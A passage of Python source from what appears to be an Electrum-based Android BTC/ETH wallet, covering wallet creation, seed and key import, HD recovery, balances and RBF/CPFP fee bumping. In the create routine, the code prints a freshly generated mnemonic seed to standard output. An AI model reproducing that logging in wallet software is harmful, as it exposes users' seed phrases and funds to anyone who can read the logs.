keys.PublicKey(HexBytes(addresses)) addresses = pubkey.to_address() except BaseException: addresses = addresses.split() else: raise BaseException("Only support BTC/ETH") good_inputs, bad_inputs = wallet.import_addresses(addresses, write_to_disk=False) # FIXME tell user about bad_inputs if not good_inputs: raise BaseException(_("No address available.")) wallet_type = "%s-watch-standard" % coin elif privkeys is not None or keystores is not None: if coin == "btc": ks = keystore.Imported_KeyStore({}) db.put("keystore", ks.dump()) wallet = Imported_Wallet(db, storage, config=self.config) try: # TODO:need script(p2pkh/p2wpkh/p2wpkh-p2sh) if privkeys[0:2] == "0x": privkeys = privkeys[2:] ecc.ECPrivkey(bfh(privkeys)) keys = [privkeys] except BaseException: addr_type = ( "p2pkh" if purpose == 44 else "p2wpkh" if purpose == 84 else "p2wpkh-p2sh" if purpose == 49 else "" ) if addr_type != "": privkeys = "%s:%s" % (addr_type, privkeys) keys = keystore.get_private_keys(privkeys, allow_spaces_inside_key=False) if keys is None: raise BaseException(UnavailablePrivateKey()) elif coin in self.coins: if keystores is not None: try: from eth_account import Account privkeys = Account.decrypt(keystores, keystore_password).hex() except ValueError: raise InvalidPassword() k = keystore.Imported_KeyStore({}) db.put("keystore", k.dump()) wallet = Imported_Eth_Wallet(db, storage, config=self.config) wallet.wallet_type = "%s_imported" % coin keys = keystore.get_eth_private_key(privkeys, allow_spaces_inside_key=False) good_inputs, bad_inputs = wallet.import_private_keys(keys, None, write_to_disk=False) # FIXME tell user about bad_inputs if not good_inputs: raise BaseException(_("No private key available.")) wallet_type = "%s-private-standard" % coin else: if bip39_derivation is not None: if keystore.is_seed(seed): ks = keystore.from_seed(seed, passphrase, False) else: is_checksum, is_wordlist = keystore.bip39_is_checksum_valid(seed) if not is_checksum: raise BaseException(InvalidBip39Seed()) ks = keystore.from_bip39_seed( seed, passphrase, util.get_keystore_path(bip39_derivation) if coin in self.coins else bip39_derivation, ) wallet_type = "%s-derived-standard" % coin derived_flag = True if coin in self.coins: index = self.get_path_info(bip39_derivation, INDEX_POS) elif master is not None: ks = keystore.from_master_key(master) else: if seed is None: seed = Mnemonic("english").generate(strength=strength) # seed = mnemonic.Mnemonic('en').make_seed(seed_type=seed_type) new_seed = seed print('Your wallet generation seed is:\n"%s"' % seed) print("seed type = %s" % type(seed)) if keystore.is_seed(seed): ks = keystore.from_seed(seed, passphrase, False) else: is_checksum, is_wordlist = keystore.bip39_is_checksum_valid(seed) if not is_checksum: raise BaseException(InvalidBip39Seed()) if coin == "btc": derivation = bip44_derivation(0, purpose) elif coin in self.coins: index = 0 derivation = bip44_eth_derivation( 0, self.coins[coin]["addressType"], cointype=self.coins[coin]["coinId"] ) ks = keystore.from_bip39_seed( seed, passphrase, derivation=util.get_keystore_path(derivation) if coin in self.coins else derivation, ) db.put("keystore", ks.dump()) if coin == "btc": wallet = Standard_Wallet(db, storage, config=self.config) elif coin in self.coins: wallet = Standard_Eth_Wallet(db, storage, config=self.config, index=int(index)) new_name = self.get_unique_path(wallet) wallet.storage.set_path(self._wallet_path(new_name)) try: self.check_exist_file(wallet) except ReplaceWatchonlyWallet: self.update_replace_info( str(ReplaceWatchonlyWallet.message), wallet, name=name, seed=seed, password=password, coin=coin, wallet_type=wallet_type, derived_flag=derived_flag, bip39_derivation=bip39_derivation, ) raise BaseException("Replace Watch-olny wallet:%s" % new_name) except BaseException as e: raise e try: self.create_new_wallet_update( name=name, seed=seed, password=password, wallet=wallet, coin=coin, wallet_type=wallet_type, derived_flag=derived_flag, bip39_derivation=bip39_derivation, ) except BaseException as e: raise e if new_seed != "": key = wallet.keystore.xpub self.update_backup_info(key) wallet_info = CreateWalletInfo.create_wallet_info(coin_type=coin, name=wallet.__str__()) out = self.get_create_info_by_json(new_seed, wallet_info) return json.dumps(out) def get_create_info_by_json(self, seed="", wallet_info=None, derived_info=None): from electrum_gui.android.create_wallet_info import CreateWalletInfo create_wallet_info = CreateWalletInfo() create_wallet_info.add_seed(seed) create_wallet_info.add_wallet_info(wallet_info) create_wallet_info.add_derived_info(derived_info) return create_wallet_info.to_json() def is_watch_only(self): """ Check if it is watch only wallet :return: True/False as bool """ self._assert_wallet_isvalid() return self.wallet.is_watching_only() def load_all_wallet(self): """ Load all wallet info :return:None """ name_wallets = sorted([name for name in os.listdir(self._wallet_path())]) for name in name_wallets: self.load_wallet(name, password=self.android_id) def update_wallet_password(self, old_password, new_password): """ Update password :param old_password: old_password as string :param new_password: new_password as string :return:None """ self._assert_daemon_running() for name, wallet in self.daemon._wallets.items(): wallet.update_password(old_pw=old_password, new_pw=new_password, str_pw=self.android_id) def check_password(self, password): """ Check wallet password :param password: as string :return: raise except if error """ try: if self.check_pw_wallet is None: self.check_pw_wallet = self.get_check_wallet() self.check_pw_wallet.check_password(password, str_pw=self.android_id) except BaseException as e: if len(e.args) != 0: if -1 != e.args[0].find("out of range"): log_info.info("out of range when check_password error {}.".format(e)) pass else: raise e def recovery_confirmed(self, name_list, hw=False): """ If you import hd wallet by seed, you will get a name list and you need confirm which wallets you want to import :param name_list: wallets you want to import as list like [name, name2,...] :param hw: True if you recovery from hardware :return:None """ name_list = json.loads(name_list) if len(name_list) != 0: for name in name_list: if self.recovery_wallets.__contains__(name): recovery_info = self.recovery_wallets.get(name) wallet = recovery_info["wallet"] self.daemon.add_wallet(wallet) wallet.hide_type = False wallet.save_db() if not hw: self.set_hd_wallet(wallet) coin = self._detect_wallet_coin(wallet) if coin in self.coins: wallet_type = ( "%s-hw-derived-%s-%s" % (coin, 1, 1) if hw else ("%s-derived-standard" % coin) ) self.update_devired_wallet_info( bip44_eth_derivation( recovery_info["account_id"], bip43_purpose=self.coins[coin]["addressType"], cointype=self.coins[coin]["coinId"], ), recovery_info["key"], wallet.get_name(), coin, ) else: wallet_type = "btc-hw-derived-%s-%s" % (1, 1) if hw else ("btc-derived-standard") self.update_devired_wallet_info( bip44_derivation(recovery_info["account_id"], bip43_purpose=84), recovery_info["key"], wallet.get_name(), coin, ) self.update_local_wallet_info(self.get_unique_path(wallet), wallet_type) self.recovery_wallets.clear() def delete_derived_wallet(self): wallet = json.loads(self.list_wallets()) for wallet_info in wallet: for key, info in wallet_info.items(): try: if -1 != info["type"].find("-derived-") and -1 == info["type"].find("-hw-"): wallet_obj = self.daemon._wallets[self._wallet_path(key)] self.delete_wallet_devired_info(wallet_obj) self.delete_wallet_from_deamon(self._wallet_path(key)) if self.local_wallet_info.__contains__(key): self.local_wallet_info.pop(key) self.config.set_key("all_wallet_type_info", self.local_wallet_info) except Exception as e: raise BaseException(e) self.hd_wallet = None def get_check_wallet(self): wallets = self.daemon.get_wallets() for key, wallet in wallets.items(): if not isinstance(wallet.keystore, Hardware_KeyStore) and not wallet.is_watching_only(): return wallet # key = sorted(wallets.keys())[0] # # value = wallets.values()[0] # return wallets[key] def update_recover_list(self, recovery_list, balance, wallet_obj, label, coin): show_info = {} show_info["coin"] = coin show_info["blance"] = str(balance) show_info["name"] = str(wallet_obj) show_info["label"] = label try: self.check_exist_file(wallet_obj) show_info["exist"] = "0" except BaseException: show_info["exist"] = "1" recovery_list.append(show_info) def filter_wallet(self): recovery_list = [] for name, wallet_info in self.recovery_wallets.items(): try: wallet = wallet_info["wallet"] coin = self._detect_wallet_coin(wallet) if coin in self.coins: with self.pywalib.override_server(self.coins[coin]): address = wallet.get_addresses()[0] try: txids = self.pywalib.get_all_txid(address) except Exception: txids = None if txids: balance_info = wallet.get_all_balance(address, self.coins[coin]["symbol"]) balance_info = balance_info.get(coin) if not balance_info: continue fiat = self.daemon.fx.format_amount_and_units( balance_info["fiat"] * COIN) or f"0 {self.ccy}" balance = f"{balance_info['balance']} ({fiat})" self.update_recover_list(recovery_list, balance, wallet, wallet.get_name(), coin) continue else: history = reversed(wallet.get_history()) for item in history: c, u, _ = wallet.get_balance() self.update_recover_list( recovery_list, self.format_amount_and_units(c + u), wallet, wallet.get_name(), "btc" ) break except BaseException as e: raise e return recovery_list def update_recovery_wallet(self, key, wallet_obj, bip39_derivation, name, coin): wallet_info = {} wallet_info["key"] = key wallet_info["wallet"] = wallet_obj wallet_info["account_id"] = int(self.get_account_id(bip39_derivation, coin)) wallet_info["name"] = name return wallet_info def get_coin_derived_path(self, account_id, coin="btc", purpose=84): if coin == "btc": return bip44_derivation(account_id, bip43_purpose=purpose) else: return bip44_eth_derivation( account_id, self.coins[coin]["addressType"], cointype=self.coins[coin]["coinId"] ) def recovery_import_create_hw_wallet(self, i, name, m, n, xpubs, coin="btc"): try: self.set_multi_wallet_info(name, m, n) self.add_xpub(xpubs, self.hw_info["device_id"], i, self.hw_info["type"], coin=coin) temp_path = self.get_temp_file() path = self._wallet_path(temp_path) storage, db = self.wizard.create_storage(path=path, password="", coin=coin) if storage: if coin in self.coins: # wallet = Eth_Wallet(db, storage, config=self.config, index=self.hw_info['account_id']) wallet = Standard_Eth_Wallet(db, storage, config=self.config, index=i) else: wallet = Wallet(db, storage, config=self.config) wallet.set_name(name) wallet.hide_type = True new_name = self.get_unique_path(wallet) wallet.storage.set_path(self._wallet_path(new_name)) wallet.update_password(old_pw=None, new_pw=None, str_pw=self.android_id, encrypt_storage=True) if coin == "btc": wallet.start_network(self.daemon.network) self.recovery_wallets[new_name] = self.update_recovery_wallet( xpubs + coin.lower(), wallet, self.get_coin_derived_path(i, coin), name, coin ) self.wizard = None except Exception as e: raise BaseException(e) def get_type(self, xtype): return "p2wpkh-p2sh" if xtype == 49 else "p2pkh" if xtype == 44 else "p2wpkh" if xtype == 84 else "" def recovery_create_subfun(self, coin, account_id, hw, name, seed, password, passphrase, path): try: if coin == "btc": type_list = [49, 44, 84] elif coin in self.coins: type_list = [self.coins[coin]["addressType"]] for xtype in type_list: bip39_derivation = self.get_coin_derived_path(account_id, coin, purpose=xtype) if not AndroidCommands._recovery_flag: self.recovery_wallets.clear() AndroidCommands._recovery_flag = True raise UserCancel() if not hw: self.recovery_create( name, seed, password=password, bip39_derivation=bip39_derivation, passphrase=passphrase, coin=coin, ) else: xpub = self.get_xpub_from_hw( path=path, _type=self.get_type(xtype), account_id=account_id, coin=coin ) self.recovery_import_create_hw_wallet(account_id, name, 1, 1, xpub, coin=coin) return True except BaseException as e: AndroidCommands._recovery_flag = True raise e def recovery_wallet( self, seed=None, password=None, passphrase="", coin="btc", xpub=None, hw=False, path="bluetooth" ): derived = DerivedInfo(self.config) derived.init_recovery_num() for derived_xpub, derived_wallet in self.derived_info.items(): if xpub == derived_xpub: for derived_info in derived_wallet: flag = self.recovery_create_subfun( coin, derived_info["account_id"], hw, derived_info["name"], seed, password, passphrase, path ) if not flag: return False derived.update_recovery_info(derived_info["account_id"]) derived.reset_list() account_list = derived.get_list() if account_list is not None: for i in account_list: flag = self.recovery_create_subfun( coin, i, hw, "%s_derived_%s" % (coin, i), seed, password, passphrase, path ) if not flag: return False def get_hd_wallet(self): if self.hd_wallet is None: wallets = self.daemon.get_wallets() for key, wallet in wallets.items(): if self.local_wallet_info.__contains__(self.get_unique_path(wallet)): wallet_info = self.local_wallet_info.get(self.get_unique_path(wallet)) wallet_type = wallet_info["type"] if self.is_have_hd_wallet(wallet_type): self.hd_wallet = wallet return wallet raise BaseException(UnavaiableHdWallet()) else: return self.hd_wallet def get_hd_wallet_encode_seed(self, seed=None, coin="", passphrase=""): if seed is not None: path = bip44_derivation(0, 84) ks = keystore.from_bip39_seed(seed, passphrase, path) self.config.set_key("current_hd_xpub", ks.xpub) return ks.xpub + coin.lower() else: return self.config.get("current_hd_xpub", "") + coin.lower() @classmethod def _set_recovery_flag(cls, flag=False): """ Support recovery process was withdrawn :param flag: true/false :return: """ cls._recovery_flag = flag def get_derivation_path(self, wallet_obj, address): deriv_suffix = wallet_obj.get_address_index(address) derivation = wallet_obj.keystore.get_derivation_prefix() address_path = "%s/%d/%d" % (derivation, *deriv_suffix) return address_path def filter_wallet_with_account_is_zero(self): wallet_list = [] for name, wallet_info in self.recovery_wallets.items(): try: wallet = wallet_info["wallet"] coin = self._detect_wallet_coin(wallet) derivation = self.get_derivation_path(wallet, wallet.get_addresses()[0]) account_id = int(self.get_account_id(derivation, coin if coin in self.coins else "btc")) purpose = int(derivation.split("/")[PURPOSE_POS].split("'")[0]) if account_id != 0: continue if coin in self.coins or purpose == 49: try: self.check_exist_file(wallet) exist = 0 except BaseException: exist = 1 wallet_info = CreateWalletInfo.create_wallet_info( coin_type="btc" if purpose == 49 else coin, name=str(wallet), exist=exist ) wallet_list.append(wallet_info[0]) except BaseException as e: raise e return wallet_list def recovery_hd_derived_wallet( self, password=None, seed=None, passphrase="", xpub=None, hw=False, path="bluetooth" ): if hw: self.recovery_wallet(xpub=xpub, hw=hw, path=path, coin="btc") if "ANDROID_DATA" in os.environ: for coin, info in self.coins.items(): with PyWalib.override_server(info): self.recovery_wallet(xpub=xpub, hw=hw, path=path, coin=coin) else: xpub = self.get_hd_wallet_encode_seed(seed=seed, coin="btc") self.recovery_wallet(seed, password, passphrase, xpub=xpub, hw=hw) if "ANDROID_DATA" in os.environ: for coin, info in self.coins.items(): xpub = self.get_hd_wallet_encode_seed(seed=seed, coin=coin) with PyWalib.override_server(info): self.recovery_wallet(seed, password, passphrase, coin=coin, xpub=xpub, hw=hw) recovery_list = self.filter_wallet() wallet_data = self.filter_wallet_with_account_is_zero() out = self.get_create_info_by_json(wallet_info=wallet_data, derived_info=recovery_list) return json.dumps(out) def get_derivat_path(self, purpose=84, coin=None): """ Get derivation path :param coin_type: 44/49/84 as int :return: 'm/44'/0/0' as string """ if coin != "btc": return bip44_eth_derivation(0, self.coins[coin]["addressType"], cointype=self.coins[coin]["coinId"]) else: return bip44_derivation(0, purpose) def create_derived_wallet(self, name, password, coin="btc", purpose=84, strength=128): """ Create BTC/ETH derived wallet :param name: name as str :param password: password as str :param coin: btc/eth as str :param purpose: (44/84/49) for btc only :param strength: Length of theใ€€Mnemonic word as (128/256) :return: json like {'seed':'' 'wallet_info':'' 'derived_info':''} """ self._assert_coin_isvalid(coin) try: self.check_password(password) except BaseException as e: raise e seed = self.get_hd_wallet().get_seed(password) coin_type = constants.net.BIP44_COIN_TYPE if coin == "btc" else self.coins[coin]["coinId"] purpose = purpose if coin == "btc" else self.coins[coin]["addressType"] encode_seed = self.get_hd_wallet_encode_seed(seed=seed, coin=coin) list_info = self.get_derived_list(encode_seed) if list_info is not None: if len(list_info) == 0: raise BaseException(DerivedWalletLimit()) account_id = list_info[0] else: account_id = 0 if coin in self.coins: derivat_path = bip44_eth_derivation(account_id, purpose, cointype=coin_type) else: derivat_path = bip44_derivation(account_id, purpose) return self.create(name, password, seed=seed, bip39_derivation=derivat_path, strength=strength, coin=coin) def recovery_create(self, name, seed, password, bip39_derivation, passphrase="", coin="btc"): try: self.check_password(password) except BaseException as e: raise e account_id = int(self.get_account_id(bip39_derivation, coin)) if account_id == 0: purpose = int(self.get_path_info(bip39_derivation, PURPOSE_POS)) if purpose == 49: name = "BTC-1" elif coin in self.coins: name = "%s-1" % coin.upper() else: name = "btc-derived-%s" % purpose temp_path = self.get_temp_file() path = self._wallet_path(temp_path) if exists(path): raise BaseException(FileAlreadyExist()) storage = WalletStorage(path) db = WalletDB("", manual_upgrades=False) ks = keystore.from_bip39_seed( seed, passphrase, util.get_keystore_path(bip39_derivation) if coin in self.coins else bip39_derivation ) db.put("keystore", ks.dump()) if coin in self.coins: wallet = Standard_Eth_Wallet(db, storage, config=self.config, index=account_id) wallet.wallet_type = "%s_standard" % coin else: wallet = Standard_Wallet(db, storage, config=self.config) wallet.hide_type = True wallet.set_name(name) new_name = self.get_unique_path(wallet) wallet.storage.set_path(self._wallet_path(new_name)) self.recovery_wallets[new_name] = self.update_recovery_wallet( self.get_hd_wallet_encode_seed(seed=seed, coin=coin), wallet, bip39_derivation, name, coin ) wallet.update_password(old_pw=None, new_pw=password, str_pw=self.android_id, encrypt_storage=True) if coin == "btc": wallet.start_network(self.daemon.network) wallet.save_db() def get_devired_num(self, coin="btc"): """ Get devired HD num by app :param coin:btc/eth as string :return: num as int """ xpub = self.get_hd_wallet_encode_seed(coin=coin.lower()) num = 0 if self.derived_info.__contains__(xpub): num = len(self.derived_info[xpub]) return num def get_hw_config_xpub(self, wallet_obj, coin): xpub = wallet_obj.keystore.xpub if coin == 'btc': xpub = wallet_obj.get_derived_master_xpub() return xpub + coin.lower() def delete_devired_wallet_info(self, wallet_obj, hw=False): derivation = self.get_derivation_path(wallet_obj, wallet_obj.get_addresses()[0]) coin = self._detect_wallet_coin(wallet_obj) account_id = int(self.get_account_id(derivation, coin)) if not hw: xpub = self.get_hd_wallet_encode_seed(coin=coin) else: xpub = self.get_hw_config_xpub(wallet_obj, coin=coin) if self.derived_info.__contains__(xpub): derived_wallet = self.derived_info[xpub] for pos, wallet_info in enumerate(derived_wallet): if int(wallet_info["account_id"]) == account_id: derived_wallet.pop(pos) break self.derived_info[xpub] = derived_wallet self.config.set_key("derived_info", self.derived_info) def get_account_id(self, path, coin): if coin in self.coins: return self.get_path_info(path, INDEX_POS) else: return self.get_path_info(path, ACCOUNT_POS) def update_devired_wallet_info(self, bip39_derivation, xpub, name, coin): wallet_info = {} wallet_info["name"] = name wallet_info["account_id"] = self.get_account_id(bip39_derivation, coin) if not self.derived_info.__contains__(xpub): derivated_wallets = [] derivated_wallets.append(wallet_info) self.derived_info[xpub] = derivated_wallets self.config.set_key("derived_info", self.derived_info) else: save_flag = False from .derived_info import RECOVERY_DERIVAT_NUM if len(self.derived_info[xpub]) <= RECOVERY_DERIVAT_NUM: derived_wallet = self.derived_info[xpub] for info in derived_wallet: if info["account_id"] == wallet_info["account_id"]: save_flag = True if not save_flag: self.derived_info[xpub].append(wallet_info) self.config.set_key("derived_info", self.derived_info) def get_all_mnemonic(self): """ Get all mnemonic, num is 2048 :return: json like "[job, ...]" """ return json.dumps(Wordlist.from_file("english.txt")) def get_all_wallet_balance(self): """ Get all wallet balances :return: { "all_balance": "21,233.46 CNY", "wallet_info": [ { "name": "", "label": "", "btc": "0.005 BTC", "fiat": "1,333.55", "wallets": [ {"coin": "btc", "balance": "", "fiat": ""} ] }, { "name": "", "label": "", "wallets": [ { "coin": "btc", "balance": "", "fiat": ""}, { "coin": "usdt", "balance": "", "fiat": ""} ] } ] } """ out = {} try: all_balance = Decimal("0") all_wallet_info = [] for wallet in self.daemon.get_wallets().values(): wallet_info = {"name": wallet.get_name(), "label": str(wallet)} coin = self._detect_wallet_coin(wallet) if coin in self.coins: with self.pywalib.override_server(self.coins[coin]): checksum_from_address = self.pywalib.web3.toChecksumAddress(wallet.get_addresses()[0]) balances_info = wallet.get_all_balance( checksum_from_address, self.coins[coin]["symbol"] ) wallet_balances = [] for symbol, info in balances_info.items(): copied_info = dict(info) copied_info["fiat"] = ( self.daemon.fx.format_amount_and_units( copied_info["fiat"] * COIN) or f"0 {self.ccy}" ) wallet_balances.append( { "coin": symbol, **copied_info, } ) fiat = Decimal(copied_info["fiat"].split()[0].replace(",", "")) all_balance += fiat wallet_info["wallets"] = wallet_balances all_wallet_info.append(wallet_info) else: c, u, x = wallet.get_balance() balance = self.daemon.fx.format_amount_and_units(c + u) or f"0 {self.ccy}" fiat = Decimal(balance.split()[0].replace(",", "")) all_balance += fiat wallet_info["btc"] = self.format_amount(c + u) # fixme deprecated field wallet_info["fiat"] = balance # fixme deprecated field wallet_info["wallets"] = [ {"coin": "btc", "balance": wallet_info["btc"], "fiat": wallet_info["fiat"]} ] all_wallet_info.append(wallet_info) out["all_balance"] = "%s %s" % (all_balance, self.ccy) out["wallet_info"] = all_wallet_info return json.dumps(out, cls=DecimalEncoder) except BaseException as e: raise e def check_exist_file(self, wallet_obj): for _path, exist_wallet in self.daemon._wallets.items(): if wallet_obj.get_addresses()[0] not in exist_wallet.get_addresses(): continue if exist_wallet.is_watching_only() and not wallet_obj.is_watching_only(): raise ReplaceWatchonlyWallet(exist_wallet) elif self._detect_wallet_coin(exist_wallet) == self._detect_wallet_coin(wallet_obj): raise BaseException(FileAlreadyExist()) def set_rbf(self, status_rbf): """ Enable/disable rbf :param status_rbf:True/False as bool :return: """ use_rbf = self.config.get("use_rbf", True) if use_rbf == status_rbf: return self.config.set_key("use_rbf", status_rbf) self.rbf = status_rbf def get_rbf_status(self, tx_hash): try: tx = self.wallet.db.get_transaction(tx_hash) if not tx: return False height = self.wallet.get_tx_height(tx_hash).height _, is_mine, v, fee = self.wallet.get_wallet_delta(tx) is_unconfirmed = height <= 0 if tx: # note: the current implementation of RBF *needs* the old tx fee rbf = is_mine and self.rbf and fee is not None and is_unconfirmed if rbf: return True else: return False except BaseException as e: raise e def format_fee_rate(self, fee_rate): # fee_rate is in sat/kB return util.format_fee_satoshis(fee_rate / 1000, num_zeros=self.num_zeros) + " sat/byte" def get_rbf_fee_info(self, tx_hash): tx = self.wallet.db.get_transaction(tx_hash) if not tx: raise BaseException(FailedGetTx()) txid = tx.txid() assert txid fee = self.wallet.get_tx_fee(txid) if fee is None: raise BaseException( _("RBF(Replace-By-Fee) fails because it does not get the fee intormation of the original transaction.") ) tx_size = tx.estimated_size() old_fee_rate = fee / tx_size # sat/vbyte new_rate = Decimal(max(old_fee_rate * 1.5, old_fee_rate + 1)).quantize(Decimal("0.0")) new_tx = json.loads(self.create_bump_fee(tx_hash, str(new_rate))) ret_data = { "current_feerate": self.format_fee_rate(1000 * old_fee_rate), "new_feerate": str(new_rate), "fee": new_tx["fee"], "tx": new_tx["new_tx"], } return json.dumps(ret_data) # TODO:new_tx in history or invoices, need test def create_bump_fee(self, tx_hash, new_fee_rate): try: print("create bump fee tx_hash---------=%s" % tx_hash) tx = self.wallet.db.get_transaction(tx_hash) if not tx: return False coins = self.wallet.get_spendable_coins(None, nonlocal_only=False) new_tx = self.wallet.bump_fee(tx=tx, new_fee_rate=new_fee_rate, coins=coins) fee = new_tx.get_fee() except BaseException as e: raise BaseException(e) new_tx.set_rbf(self.rbf) out = {"new_tx": str(new_tx), "fee": fee} self.rbf_tx = new_tx return json.dumps(out) def confirm_rbf_tx(self, tx_hash): try: self.do_save(self.rbf_tx) except BaseException: log_info.info("do save failed {}".format(self.rbf_tx)) pass try: if self.label_flag and self.wallet.wallet_type != "standard": self.label_plugin.push_tx( self.wallet, "rbftx", self.rbf_tx.txid(), str(self.rbf_tx), tx_hash_old=tx_hash ) except Exception as e: log_info.info("push_tx rbftx error {}".format(e)) pass return self.rbf_tx def get_rbf_or_cpfp_status(self, tx_hash): try: status = {} tx = self.wallet.db.get_transaction(tx_hash) if not tx: raise BaseException("tx is None") tx_details = self.wallet.get_tx_info(tx) is_unconfirmed = tx_details.tx_mined_status.height <= 0 if is_unconfirmed and tx: # note: the current implementation of rbf *needs* the old tx fee if tx_details.can_bump and tx_details.fee is not None: status["rbf"] = True else: child_tx = self.wallet.cpfp(tx, 0) if child_tx: status["cpfp"] = True return json.dumps(status) except BaseException as e: raise e def get_cpfp_info(self, tx_hash, suggested_feerate=None): try: self._assert_wallet_isvalid() parent_tx = self.wallet.db.get_transaction(tx_hash) if not parent_tx: raise BaseException(FailedGetTx()) info = {} child_tx = self.wallet.cpfp(parent_tx, 0) if child_tx: total_size = parent_tx.estimated_size() + child_tx.estimated_size() parent_txid = parent_tx.txid() assert parent_txid parent_fee = self.wallet.get_tx_fee(parent_txid) if parent_fee is None: raise BaseException( _( "CPFP(Child Pays For Parent) fails because it does not get the fee intormation of the original transaction." ) ) info["total_size"] = "(%s) bytes" % total_size max_fee = child_tx.output_value() info["input_amount"] = self.format_amount(max_fee) + " " + self.base_unit def get_child_fee_from_total_feerate(fee_per_kb): fee = fee_per_kb * total_size / 1000 - parent_fee fee = min(max_fee, fee) fee = max(total_size, fee) # pay at least 1 sat/byte for combined size return fee if suggested_feerate is None: suggested_feerate = self.config.fee_per_kb() else: suggested_feerate = suggested_feerate * 1000 if suggested_feerate is None: raise BaseException( f"""{_("Failed CPFP(Child Pays For Parent)'")}: {_('dynamic fee estimates not available')}""" ) parent_feerate = parent_fee / parent_tx.estimated_size() * 1000 info["parent_feerate"] = self.format_fee_rate(parent_feerate) if parent_feerate else "" info["fee_rate_for_child"] = self.format_fee_rate(suggested_feerate) if suggested_feerate else "" fee_for_child = get_child_fee_from_total_feerate(suggested_feerate) info["fee_for_child"] = util.format_satoshis_plain(fee_for_child, decimal_point=self.decimal_point) if fee_for_child is None: raise BaseException("fee_for_child is none") out_amt = max_fee - fee_for_child out_amt_str = (self.format_amount(out_amt) + " " + self.base_unit) if out_amt else "" info["output_amount"] = out_amt_str comb_fee = parent_fee + fee_for_child comb_fee_str = (self.format_amount(comb_fee) + " " + self.base_unit) if comb_fee else "" info["total_fee"] = comb_fee_str comb_feerate = comb_fee / total_size * 1000 comb_feerate_str = self.format_fee_rate(comb_feerate) if comb_feerate else "" info["total_feerate"] = comb_feerate_str if fee_for_child is None: raise BaseException(_("Sub-transaction fee error.")) # fee left empty, treat is as "cancel" if fee_for_child > max_fee: raise BaseException(_("Exceeding the Maximum fee limit.")) return json.dumps(info) except BaseException as e: raise e def create_cpfp_tx(self, tx_hash, fee_for_child): try: self._assert_wallet_isvalid() parent_tx = self.wallet.db.get_transaction(tx_hash) if not parent_tx: raise BaseException(FailedGetTx()) new_tx = self.wallet.cpfp(parent_tx, self.get_amount(fee_for_child)) new_tx.set_rbf(self.rbf) out = {"new_tx": str(new_tx)} try: self.do_save(new_tx) if self.label_flag and self.wallet.wallet_type != "standard": self.label_plugin.push_tx(self.wallet, "createtx", new_tx.txid(), str(new_tx)) except BaseException as e: log_info.info("push_tx createtx error {}".format(e)) pass return json.dumps(out) except BaseException as e: raise e def get_default_server(self): """ Get default electrum server :return: json like {'host':'127.0.0.1', 'port':'3456'} """ try: self._assert_daemon_running() net_params = self.network.get_parameters() host, port = net_params.server.host, net_params.server.port except BaseException as e: raise e default_server = { "host": host, "port": port, } return json.dumps(default_server) def set_server(self, host, port): """ Custom server :param host: host as str :param port: port as str :return: raise except if error """ try: self._assert_daemon_running() net_params = self.network.get_parameters() try: server = ServerAddr.from_str_with_inference("%s:%s" % (host, port)) if not server: raise Exception("failed to parse") except BaseException as e: raise e net_params = net_params._replace(server=server, auto_connect=True) self.network.run_from_another_thread(self.network.set_parameters(net_params)) except BaseException as e: raise e def get_server_list(self): """ Get Servers :return: servers info as json """ try: self._assert_daemon_running() servers = self.daemon.network.get_servers() except BaseException as e: raise e return json.dumps(servers) def rename_wallet(self, old_name, new_name): """ Rename the wallet :param old_name: old name as string :param new_name: new name as string :return: raise except if error """ try: self._assert_daemon_running() if old_name is None or new_name is None: raise BaseException(("Please enter the correct file name.")) else: wallet = self.daemon._wallets[self._wallet_path(old_name)] wallet.set_name(new_name) wallet.db.set_modified(True) wallet.save_db() except BaseException as e: raise e def update_wallet_name(self, old_name, new_name): try: self._assert_daemon_running() if old_name is None or new_name is None: raise BaseException("Please enter the correct file name") else: os.rename(self._wallet_path(old_name), self._wallet_path(new_name)) self.daemon.pop_wallet(self._wallet_path(old_name)) self.load_wallet(new_name, password=self.android_id) self.select_wallet(new_name) return new_name except BaseException as e: raise e @staticmethod def _detect_wallet_coin(wallet): assert wallet coin = getattr(wallet, "coin", None) if not coin: coin = wallet.wallet_type[:3] return coin def select_wallet(self, name): """ Select wallet by name :param name: name as string :return: json like { "name": "", "label": "", "wallets": [ {"coin": "eth", "balance": "", "fiat": ""}, {"coin": "usdt", "balance": "", "fiat": ""} ] } """ try: self._assert_daemon_running() if name is None: self.wallet = None else: self.wallet = self.daemon._wallets[self._wallet_path(name)] self.wallet.use_change = self.config.get("use_change", False) coin = self._detect_wallet_coin(self.wallet) if coin in self.coins: PyWalib.set_server(self.coins[coin]) addrs = self.wallet.get_addresses() checksum_from_address = self.pywalib.web3.toChecksumAddress(addrs[0]) balance_info = self.wallet.get_all_balance( checksum_from_address, self.coins[coin]["symbol"] ) wallet_balances = [ { "coin": key, **val, "fiat": self.daemon.fx.format_amount_and_units(val["fiat"] * COIN) or f"0 {self.ccy}", } for key, val in balance_info.items() ] info = {"name": name, "label": self.wallet.get_name(), "wallets": wallet_balances} return json.dumps(info, cls=DecimalEncoder) else: c, u, x = self.wallet.get_balance() print("console.select_wallet %s %s %s==============" % (c, u, x)) print( "console.select_wallet[%s] blance = %s wallet_type = %s use_change=%s add = %s " % ( self.wallet.get_name(), self.format_amount_and_units(c + u), self.wallet.wallet_type, self.wallet.use_change, self.wallet.get_addresses(), ) ) util.trigger_callback("wallet_updated", self.wallet) balance = c + u fait = self.daemon.fx.format_amount_and_units(balance) if self.daemon.fx else None fait = fait or f"0 {self.ccy}" info = { "balance": self.format_amount(balance) + " (%s)" % fait, # fixme deprecated field "name": name, "label": self.wallet.get_name(), "wallets": [{"coin": "btc", "balance": self.format_amount(balance), "fiat": fait}], } if self.label_flag and self.wallet.wallet_type != "standard": self.label_plugin.load_wallet(self.wallet) return json.dumps(info, cls=DecimalEncoder) except BaseException as e: raise BaseException(e) def sort_list(self, wallet_infos, type=None): try: from .sort_wallet_list import SortWalletList if len(wallet_infos) == 0: return wallet_infos sorted_wallet = SortWalletList(wallet_infos) if type is None: return wallet_infos if type == "hd": return sorted_wallet.get_wallets_by_hd() if type == "hw": return sorted_wallet.get_wallets_by_hw() else: return sorted_wallet.get_wallets_by_coin(coin=type) except BaseException as e: raise e def list_wallets(self, type=None): """ List available wallets :param type: None/hd/btc/eth :return: json like "[{"wallet_key":{'type':"", "addr":"", "name":"", "label":"", "device_id": ""}}, ...]" exp: all_list = testcommond.list_wallets() hd_list = testcommond.list_wallets(type='hd') hw_list = testcommond.list_wallets(type='hw') btc_list = testcommond.list_wallets(type='btc') eth_list = testcommond.list_wallets(type='eth') """ name_wallets = sorted([name for name in os.listdir(self._wallet_path())]) name_info = {} for name in 